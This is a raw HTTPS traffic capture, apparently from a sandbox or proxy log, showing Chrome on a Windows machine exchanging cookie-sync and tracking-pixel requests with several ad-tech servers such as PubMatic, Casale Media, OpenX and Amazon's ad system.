2024-01-10 23:27:22 UTC	688	OUT	GET /pubmatic HTTP/1.1 Host: gocm.c.appier.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:23 UTC	627	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 10 Jan 2024 23:27:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 153 Connection: close Accept-Ch: Sec-CH-UA-Model,Sec-CH-UA-Platform-Version Cache-Control: no-store Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ P3p: CP="CUR ADM DEV TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Set-Cookie: _auid=e9qoKPUsCQSvHM9C2yefZQ; Path=/; Domain=c.appier.net; Expires=Fri, 10 Jan 2025 23:27:23 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None
2024-01-10 23:27:23 UTC	153	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 79 4d 44 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 65 39 71 6f 4b 50 55 73 43 51 53 76 48 4d 39 43 32 79 65 66 5a 51 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	50260	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	2693	OUT	GET /AdServer/Pug?vcode&piggybackCookie={viewer_token} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; PugT=1704929242; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69
2024-01-10 23:27:23 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.4	50257	23.88.86.2	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:23 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.1 Date: Wed, 10 Jan 2024 23:27:23 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.4	50261	172.64.151.101	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	1226	OUT	GET /usermatchredir?s=191740&cb=https%3A%2F%2Fsync.technoratimedia.com%2Fservices%3Fsrv%3Dcs%26nuid%3D4210822921CF40FDB04E5E61CD3868FF%26att%3D1%26pid%3D82%26cb%3Dhttps%253A%252F%252Fmatch.prod.bidr.io%252Fcookie-sync%253Fgdpr%253D0%2526gdpr%253D0%2526userid%253D5415633966123335522%2526gdpr%253D0%2526gdpr_consent%253D%2526bee_sync_partners%253Dpm%2526bee_sync_current_partner%253Dsyn%2526bee_sync_initiator%253Dadx%2526bee_sync_hop_count%253D4%26uid%3D HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:23 UTC	1354	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:23 GMT Content-Length: 0 Connection: close Location: https://sync.technoratimedia.com/services?srv=cs&nuid=4210822921CF40FDB04E5E61CD3868FF&att=1&pid=82&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&uid=ZZ8n1IPpYMLwQL-F1CLawgAA%26253 CF-Ray: 8438b0b9c8510606-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:23 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:23 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RcFd%2FlkmWv8i3QSRjyG0wUrwZpm1Ls4qYCIWdM6%2F%2FfjnGqtT%2FscODSkDrZ9VqEzozHKe8moyRaXR%2BqXGvl8D3VfOu2G3P862xgvbarvqYYCksB%2F9ieQIMyJ2v3WFn1Y0n8nAsDNCjNmzdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.4	50259	195.5.165.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:23 UTC	233	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: molok-da7a20a655d9@version_1.580 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 0ms Date: Wed, 10 Jan 2024 23:27:23 GMT
2024-01-10 23:27:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.4	50262	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	2803	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; PugT=1704929242; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac
2024-01-10 23:27:23 UTC	621	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:35:43 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:35:43 GMT; path=/ Set-Cookie: PugT=1704890143; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:35:43 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:23 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.4	50263	150.136.26.45	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	1164	OUT	GET /services?srv=cs&nuid=4210822921CF40FDB04E5E61CD3868FF&att=1&pid=82&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&uid=ZZ8n1IPpYMLwQL-F1CLawgAA%26253 HTTP/1.1 Host: sync.technoratimedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tads_uidp_73=AABsm07LPlAAABMLLoldYg; tads_uid=4210822921CF40FDB04E5E61CD3868FF; tads_uid_cd=20240110232722+0000; tads_zora=2
2024-01-10 23:27:23 UTC	1215	IN	HTTP/1.1 307 Temporary Redirect Server: nginx Date: Wed, 10 Jan 2024 23:27:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: close Location: https://match.prod.bidr.io/cookie-sync?gdpr=0&gdpr=0&userid=5415633966123335522&gdpr=0&gdpr_consent=&bee_sync_partners=pm&bee_sync_current_partner=syn&bee_sync_initiator=adx&bee_sync_hop_count=4 Set-Cookie: tads_uidp_82=ZZ8n1IPpYMLwQL-F1CLawgAA&253; Max-Age=259200; Expires=Sat, 13 Jan 2024 23:27:23 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_uid=4210822921CF40FDB04E5E61CD3868FF; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:23 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_uid_cd=20240110232722+0000; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:23 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_zora=2; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:23 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None access-control-allow-origin: https://ads.pubmatic.com/ access-control-allow-credentials: true access-control-allow-methods: POST,GET,HEAD,OPTIONS X-Varnish: 194206309 Age: 0 Via: 1.1 varnish

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.4	50264	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	716	OUT	GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:23 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Wed, 10 Jan 2024 23:27:23 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.4	50267	207.198.113.87	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:23 UTC	624	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:24 UTC	359	IN	HTTP/1.1 302 set-cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042; Domain=.sitescout.com; Expires=Thu, 09-Jan-2025 23:27:24 GMT; Path=/; Secure; SameSite=None location: https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= content-length: 0 date: Wed, 10 Jan 2024 23:27:23 GMT server: A connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.4	50283	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	711	OUT	GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:24 UTC	895	IN	HTTP/1.1 302 Found Server: Server Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Length: 0 Connection: close x-amz-rid: RFNXJWS0BAFSB90GP7WH Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:24 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:24 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://pixel.rubiconproject.com/token?pid=2179&pt=n&puid=Yid5ajjfTX6tVeYh4L78ow&rk=usync-na&gdpr=0 Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.4	50275	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1369	OUT	GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=pub&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1
